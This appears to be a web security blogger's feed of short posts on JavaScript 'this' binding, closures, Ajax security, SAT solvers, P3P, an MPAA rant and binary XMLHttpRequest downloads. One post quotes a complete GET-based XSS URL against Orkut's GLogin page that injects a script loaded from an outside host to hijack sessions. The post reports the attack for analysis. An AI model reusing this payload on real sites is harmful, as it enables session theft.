Method binding

As a consequence of this being "passed" to functions, this is not fixed for a function. That means that a function does not have an "owner" or "parent", even if it is a method. In other words, a method is not bound to the object that it is a method of.

A more general explanation of the underline problem of my last post. Essentially, what object the keyword this references inside of a function can change, based "who" is calling the function.

    //constructor for new Car object
    function Car(name) {
        this.name = name;
    }
    //method for object
    function Car_display() {
        alert(this.name);
    }
    //adds the method display() to all car objects
    Car.prototype.display = Car_display;

    //creates a new Car object
    var car = new Car("Vette");

    car.display(); //prints out "Vette" as expected

    //creates a new Car object
    var car2 = new Car("Truck");

    car2.display(); //prints out "Truck" as expected


    //grab a reference to the car function
    var carfunc = car.display;
    //set a global variable whose name is name
    var name = "HAHAHA!";
    
    carfunc();     //prints out "HAHAHA"  WTF?
    Car_display(); //prints out "HAHAHA"  WTF?

Here is what's happening. When JavaScript executes the state car.display() it first finds the function pointed to by the variable car.display; That function is Car_display. JavaScript also sets the this variable to the object which called the function. In this case, that object was car which we created. Thus Car_display is executed and the this variable points to the object car which contains a member variable name.

What about car2.display()? The same thing. JavaScript it first finds the function pointed to by the variable car2.display; That function is still Car_display. JavaScript also sets the this variable to the object which called the function. In this case, that object was car2. Thus Car_display is executed and this is pointing to the car2 variable, whose name variable is "Truck."

There is a single function Car_display, and all instances of a car object simply call that function, and JavaScript sets up the "environment" so that is it accessing the proper variables.

Nothing so far is too different than a OO language like C# or Java.

Next we save a reference to the function car.display, which is really a reference to Car_display, in the variable carfunc When we execute the statement carfunc() are calling the function Car_display. But what is the value of this? Well, since the function was called in the global context, this references to the global object. All function and variables in the program are ultimately part of the global object. In this example the global object has the following variables:

-Car: a function
-Car_display: a function
-car: a variable, currently an instance of a Car object
-car2: a variable, currently an instance of a Car object
-carfunc: a variable which references the function Car_display
-name: a variable, currently set to the string "HAHAHA"

So, carfunc() calls the function Car_display, and sets the variable this to point at the global object. Since this.name reference to the global object's variable name, the function displays "HAHAHA."

A closure allows you to get around this weirdness. See the referenced article for more information

Its all relative: When 'this' doesn't actually refer to 'this'

Or, solving the scope issue of callback functions without resorting to global variables!

//set the var so we can scope the callback var _this = this;
//callback will be an anonymous function that calls back into our class
//this allows the call back in which we handle the response (_onData())
// to have the correct scope.
this._request.onreadystatechange = function(){_this._onData()};

Encapsulating XmlHttpRequest Calls within JavaScript classes

Good guidelines for the makers of the Dojo toolkit about JavaScript programming style. Covers things like variable naming, function naming, denoting datatype with JavaScript's late binding, etc

Javascript Programming Conventions

I was running through some proxy logs, and saw a reference to http://sb.google.com/safebrowsing/update?version=goog-black-url:1:-1.

Requesting it redirected me to a blacklist of what look like phishing sites. However, all the way at the bottom was a reference to Google's Orkut site. Specifically the blacklist entry was for a GET-based XSS attack against Google's GLogin system.

https://www.orkut.com/GLogin.aspx?done=http://www.orkut.com/Scrapbook.aspx?na=\";};//--></script><script%20src=\'http://www.probranco.net/xmen.js\'></script><!--

If you request that URL, you get a 403 error page saying your query is from an automated attack. Looks very similar to a page Google returned during the Perl.Santy attack a year or so back.

The JavaScript source code to the attack is still available at http://www.probranco.net/xmen.js

It appears that the worm is for hijacking Orkut sessions. Here is an interesting thread when it appear the worm's code was refined.

W3C's reference for using the XmlHttpRequest object

The XMLHttpRequest Object

Basically, given an algorithm (properly reduced), can you find a set of inputs that will produce a desired output. It's NP-Complete, which is fun, but why care about this?

Well, using induction, I can analyze source code to find vulns, and, using a SAT solver, confirm that there are some values for set of inputs I control that can cause the vuln code path to actually execute from an external system. Hmmm, sounds like hacking websites doesn't it?

Dug up some old Java code last night to do this I wrote at Tech, and I'm converting it to C# today. Have a feeling I'm going to need this paper again.

The Quest for Efficient Boolean Satisfiability Solver

Jello wrote:

I know a memestreamer is writing a book on this stuff, so I'm interested in his comments on this.

This was an interesting article, and while I don't agree with it all of it, it does points out a big problem many in the web industry are guilty of: use of the word Ajax. Ajax is basically XmlHttpRequest, JavaScript, and XML. These are not insecure by themselves. End of story.

However, when most people talk about Ajax, they tend to (perhaps incorrectly) use it as a catch all when discussing web applications that exist on the client and the server that use XmlHttpRequest (XHR) to provide a rich user experience. Sounds vague, maybe I can get some VC for that! However, there are security issues that arise when an organization uses various technologies to make there websites more responsive, when creating mashups, etc. Are they new security issues? No. Does that mean talking about Ajax in the context of security is silly because it is "nothing new?" Of course not, because frankly there haven't been a "new" security issue that wasn't discussed in the godfather of security tomes: Security, Accuracy, and Privacy in Computer Systems (Martin, 1973).

There's a reason why my articles and talks have been titled "Ajax (in)security." It covers Ajax in (the context of) security as well as stupid, insecure ways people have used Ajax.

So why talk about Ajax security at all? To make sure people know about how security applies in applications that straddles the client and server. To make sure that they think twice about what the library or framework or product that makes their website prettier and more responsive actually does. To make sure people are extend their good security practices to rich interfaces. It is not Ajax's fault and it is not about finding problems with Ajax that exist no where else. It's talking about security as it applies to a new technology and that is not something to criticize or dismiss because it sounds unoriginal.

Here are my thoughts:

Does Ajax cause a larger attack surface: It depends

This really should just say “rich interface tends to increase the attack surface, Ajax included.” The article even says: “AJAX drives developers to publicly expose more functionality - which may introduce new “server-side” vulnerabilities.” Exactly, more inputs that need to be secured against traditional attacks, AKA, a larger attack surface. Is this Ajax's “fault?” Its no one's fault, just like opening a service for a Flash stock ticker to fetch prices from isn't Flash's fault. There is a cost for that rich interface, and that cost is more inputs.

It comes done to how the application is designed. Is a search engine's dialog box going to have more attack surface if the app is submitting that using XHR than a POST? No. But a search engine's dialog box that has a dynamically populated drop down box of words with a drop down like... [ Read More (0.4k in body) ]

Myths of Myths of Myths: Ajax and security

Maybe a good idea to make Memestreams privacy policy machine readable. I'll look into this more. I know SPI's products look at it.

P3P: Privacy Primer

The MPAA defines a home theater as any home with a television larger than 29" with stereo sound and at least two comfortable chairs, couch, or futon. Anyone with a home theater would need to pay a $50 registration fee with the MPAA or face fines up to $500,000 per movie shown.

"Just because you buy a DVD to watch at home doesn't give you the right to invite friends over to watch it too. That's a violation of copyright and denies us the revenue that would be generated from DVD sales to your friends," said Glickman. "Ideally we expect each viewer to have their own copy of the DVD, but we realize that isn't always feasible. The registration fee is a fair compromise.

How out of touch are these guys? I'm reminded of how in A Brave New World the only sports that are allowed required massive amounts of equipment so as to promote consumption of sporting goods. These no talent ass clowns want to limit showing a movie to friends to maximize their profits? Fuck them.

MPAA Lobbying for Home Theater Regulations

The whole problem comes down to the browser wanting to convert the response of an XHR into a unicode string and thus it chokes on the first 0x00 or other odd bytes that it sees. By forcing the character set and mapping around the nasty range values, this guy found a way to grab binary data.

The implications of this are extraordinary! JavaScript normally cannot read the image data of a picture. Thus CAPTCHA was an acceptable way to stop web viruses like Samy or Yamanner.

Hmmmm... Captcha busting in JavaScript? [Evil Laugh]

Downloading Binary Streams with XMLHttpRequest